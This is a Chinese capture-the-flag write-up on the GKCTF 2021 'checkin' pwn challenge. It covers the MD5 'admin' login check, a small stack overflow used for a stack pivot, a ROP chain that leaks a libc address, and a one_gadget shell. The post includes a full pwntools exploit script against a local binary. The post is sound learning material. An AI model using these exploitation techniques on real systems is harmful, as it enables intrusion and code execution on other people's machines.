[GKCTF 2021]checkin调试与分析

2024-04-15 05:58
文章标签 分析 调试 2021 checkin gkctf

本文主要是介绍[GKCTF 2021]checkin调试与分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

        目前笔者刚刚开始入门PWN,算是通过这题涨了点见识吧

主要函数:

int sub_4018C7()
{char buf[32]; // [rsp+0h] [rbp-20h] BYREFputs("Please Sign-in");putchar(62);read(0, s1, 0x20uLL);puts("Please input u Pass");putchar(62);read(0, buf, 0x28uLL);if ( strncmp(s1, "admin", 5uLL) || sub_401974(buf) ){puts("Oh no");exit(0);}puts("Sign-in Success");return puts("BaileGeBai");
}

        sub_401974实为一个md5加密与对比函数,它会将buf进行md5后与固定值对比

__int64 __fastcall sub_401974(const char *a1)
{unsigned int v1; // eaxchar v3[96]; // [rsp+10h] [rbp-90h] BYREF__int64 v4[2]; // [rsp+70h] [rbp-30h]char v5[28]; // [rsp+80h] [rbp-20h] BYREFint i; // [rsp+9Ch] [rbp-4h]v4[0] = 0xA7A5577A292F2321LL;v4[1] = 0xC31F804A0E4A8943LL;sub_4007F6(v3);v1 = strlen(a1);sub_400842(v3, a1, v1);sub_400990(v3, v5);for ( i = 0; i <= 15; ++i ){if ( *(v4 + i) != v5[i] )return 1LL;}return 0LL;
}

        从对比方法开始说起吧,v4数组即为固定的md5值,比对方法为逐比特位对比

        

int main()
{INT64 v4[2];v4[0] = 0xA7A5577A292F2321;v4[1] = 0xC31F804A0E4A8943;BYTE k[16];for (int i = 0; i < 16; i++){k[i] = *((BYTE*)v4 + i);printf("%x", k[i]);}
}//21232f297a57a5a743894ae4a801fc3

         通过对比可以发现,这个得到的结果就是v4[0]与v4[1]按照比特位分别逆序后的拼接,底层的储存方式按照小端序而被IDA识别为代码中的整数

        以及,我们可以通过一些查询得到该md5为‘admin’的md5值

        那么只要我们输入两次admin,就能够顺利运行到loc_40195D处,便能够利用栈溢出了

.text:000000000040195D loc_40195D:                             ; CODE XREF: sub_4018C7+80↑j
.text:000000000040195D                 mov     edi, offset aSignInSuccess ; "Sign-in Success"
.text:0000000000401962                 call    _puts
.text:0000000000401967                 mov     edi, offset aBailegebai ; "BaileGeBai"
.text:000000000040196C                 call    _puts
.text:0000000000401971                 nop
.text:0000000000401972                 leave
.text:0000000000401973                 retn

        但这样还不够,程序调用的是read函数,有规定的读取上限

        特殊的,第二个read函数的读取上限高于buf的界定值,产生溢出,正好覆盖RBP处的值

        以及上一层在0x4018BF处调用该函数

.text:00000000004018BF                 call    sub_4018C7
.text:00000000004018C4                 nop
.text:00000000004018C5                 leave
.text:00000000004018C6                 retn

        当主要函数retn后,立刻进入第二次retn,存在栈迁移的可能

        那么可以照如下方式构造payload

pop_rdi=0x401ab3
puts=0x4018B5
puts_got=0x602028
name_addr=0x602400
payload1="admin".ljust(8,'\x00')+p64(pop_rdi)+p64(puts_got)+p64(puts)
payload2="admin".ljust(8,'\x00')+'a'*24+p64(name_addr)

        name_addr将会在执行

  read(0, buf, 0x28uLL);

        时将RBP覆盖,然后存在两层leave指令

        当到达第二次leave指令,就相当于如下指令执行

mov esp,ebp;esp=0x602400,ebp=0x602400
pop ebp ;esp=0x602408,ebp=0x602400

        此时再执行retn指令,就会返回到 pop_rdi 处,并按照payload1的顺序执行下去造成库地址泄露(注意,我使用的puts地址将会让我返回到 puts=0x4018b5+8 处,籍此再次进入主要函数)

        但第二次进入主要函数时候则不再像第一次那样容易了,因为这次的RBP与s1数组的位置很近,输入值将会造成覆盖(buf是从rbp-20h处开始的,而当我们再次到达第二个read的时候,rbp将会是0x602410,那么我们的输入值就会覆盖掉s1,导致常规的逐步构造无法成功)

char buf[32]; // [rsp+0h] [rbp-20h] BYREF

        但也有不需要那么多参数的方法来得到shell,这里可以用onegadget实现

a@ubuntu:~/Desktop/timu$ one_gadget ./libc.so.6
0x45226	execve("/bin/sh", rsp+0x30, environ)
constraints:rax == NULL0x4527a	execve("/bin/sh", rsp+0x30, environ)
constraints:[rsp+0x30] == NULL0xf03a4	execve("/bin/sh", rsp+0x50, environ)
constraints:[rsp+0x50] == NULL0xf1247	execve("/bin/sh", rsp+0x70, environ)
constraints:[rsp+0x70] == NULL

        也就是说,只要我们得到了库的基地址,就可以用一行跳转直接得到shell,如果只有一行的话,就不用担心覆盖问题了,因此exp可以这样写

from pwn import *
context.log_level='debug'p=process("./login")
elf=ELF("./login")
libc=elf.libc
pop_rdi=0x401ab3
puts=0x4018B5
puts_got=0x602028
ret_addr=0x400641
name_addr=0x602400payload1="admin".ljust(8,'\x00')+p64(pop_rdi)+p64(puts_got)+p64(puts)
p.recvuntil('>')
p.send(payload1)
p.recvuntil('>')
payload2="admin".ljust(8,'\x00')+'a'*24+p64(name_addr)
p.send(payload2)libc_base=u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['puts']
print hex(libc_base)payload3 = 'admin\x00\x00\x00'*3  +p64(0x4527a+libc_base)p.send(payload3)
p.recvuntil('>')#payload = 'admin\x00\x00\x00'*4 + p64( name_addr + 0x18 )
payload4 = 'admin\x00\x00\x00'*4 + p64( 0x602500 )
p.send(payload4)
p.interactive()

        值得注意的是,当笔者通过gdb附加调试之后发现,这一轮的跳转中,我们只会返回到payload3中的 p64(0x4527a+libc_base) 地址,和payload4中的地址已经没用太大关系了,只要保证payload4能够让程序返回即可

        但笔者还是在这里为payload4加上了一个地址

        正如上面所说,我们只需要用到一个返回地址即可,那倘若我们让程序第三次返回到puts=0x4018b5+8 处,这一次,RBP就会是payload4中的地址了,那么这样就能进入第三轮输入,这一次就不会出现覆盖问题,就能够像第一步的操作那样,让程序返回到system函数,将‘/bin/sh’的地址pop rdi

后话:

        算是通过这一题学着怎么用gdb了,虽然用着还是很生涩,希望多做几题之后能渐渐熟练起来吧......不过多留心一下栈堆总是好的,用IDA动调的时候倒是很会看,一旦用起了gdb就容易忽视掉这些东西,还是要多留个心眼......

附一下参考的地址:

gdb查看指定地址内存内容:https://www.cnblogs.com/super119/archive/2011/03/26/1996125.html

[原创]pwn中one_gadget的使用技巧 :https://bbs.pediy.com/thread-261112.htm

gdb的基本命令:https://blog.csdn.net/qq_26399665/article/details/81165684

这篇关于[GKCTF 2021]checkin调试与分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/905012

相关文章

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题,本文将一起从代码层去分析为什么没有建立索引? 开源ERP项目地址:https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置

ASIO网络调试助手之一:简介

多年前,写过几篇《Boost.Asio C++网络编程》的学习文章,一直没机会实践。最近项目中用到了Asio,于是抽空写了个网络调试助手。 开发环境: Win10 Qt5.12.6 + Asio(standalone) + spdlog 支持协议: UDP + TCP Client + TCP Server 独立的Asio(http://www.think-async.com)只包含了头文件,不依

如何在Visual Studio中调试.NET源码

今天偶然在看别人代码时,发现在他的代码里使用了Any判断List<T>是否为空。 我一般的做法是先判断是否为null,再判断Count。 看了一下Count的源码如下: 1 [__DynamicallyInvokable]2 public int Count3 {4 [__DynamicallyInvokable]5 get

计算机毕业设计 大学志愿填报系统 Java+SpringBoot+Vue 前后端分离 文档报告 代码讲解 安装调试

🍊作者:计算机编程-吉哥 🍊简介:专业从事JavaWeb程序开发,微信小程序开发,定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事,生活就是快乐的。 🍊心愿:点赞 👍 收藏 ⭐评论 📝 🍅 文末获取源码联系 👇🏻 精彩专栏推荐订阅 👇🏻 不然下次找不到哟~Java毕业设计项目~热门选题推荐《1000套》 目录 1.技术选型 2.开发工具 3.功能

SWAP作物生长模型安装教程、数据制备、敏感性分析、气候变化影响、R模型敏感性分析与贝叶斯优化、Fortran源代码分析、气候数据降尺度与变化影响分析

查看原文>>>全流程SWAP农业模型数据制备、敏感性分析及气候变化影响实践技术应用 SWAP模型是由荷兰瓦赫宁根大学开发的先进农作物模型,它综合考虑了土壤-水分-大气以及植被间的相互作用;是一种描述作物生长过程的一种机理性作物生长模型。它不但运用Richard方程,使其能够精确的模拟土壤中水分的运动,而且耦合了WOFOST作物模型使作物的生长描述更为科学。 本文让更多的科研人员和农业工作者

MOLE 2.5 分析分子通道和孔隙

软件介绍 生物大分子通道和孔隙在生物学中发挥着重要作用,例如在分子识别和酶底物特异性方面。 我们介绍了一种名为 MOLE 2.5 的高级软件工具,该工具旨在分析分子通道和孔隙。 与其他可用软件工具的基准测试表明,MOLE 2.5 相比更快、更强大、功能更丰富。作为一项新功能,MOLE 2.5 可以估算已识别通道的物理化学性质。 软件下载 https://pan.quark.cn/s/57

衡石分析平台使用手册-单机安装及启动

单机安装及启动​ 本文讲述如何在单机环境下进行 HENGSHI SENSE 安装的操作过程。 在安装前请确认网络环境,如果是隔离环境,无法连接互联网时,请先按照 离线环境安装依赖的指导进行依赖包的安装,然后按照本文的指导继续操作。如果网络环境可以连接互联网,请直接按照本文的指导进行安装。 准备工作​ 请参考安装环境文档准备安装环境。 配置用户与安装目录。 在操作前请检查您是否有 sud

线性因子模型 - 独立分量分析(ICA)篇

序言 线性因子模型是数据分析与机器学习中的一类重要模型,它们通过引入潜变量( latent variables \text{latent variables} latent variables)来更好地表征数据。其中,独立分量分析( ICA \text{ICA} ICA)作为线性因子模型的一种,以其独特的视角和广泛的应用领域而备受关注。 ICA \text{ICA} ICA旨在将观察到的复杂信号

vscode中文乱码问题,注释,终端,调试乱码一劳永逸版

忘记咋回事突然出现了乱码问题,很多方法都试了,注释乱码解决了,终端又乱码,调试窗口也乱码,最后经过本人不懈努力,终于全部解决了,现在分享给大家我的方法。 乱码的原因是各个地方用的编码格式不统一,所以把他们设成统一的utf8. 1.电脑的编码格式 开始-设置-时间和语言-语言和区域 管理语言设置-更改系统区域设置-勾选Bata版:使用utf8-确定-然后按指示重启 2.vscode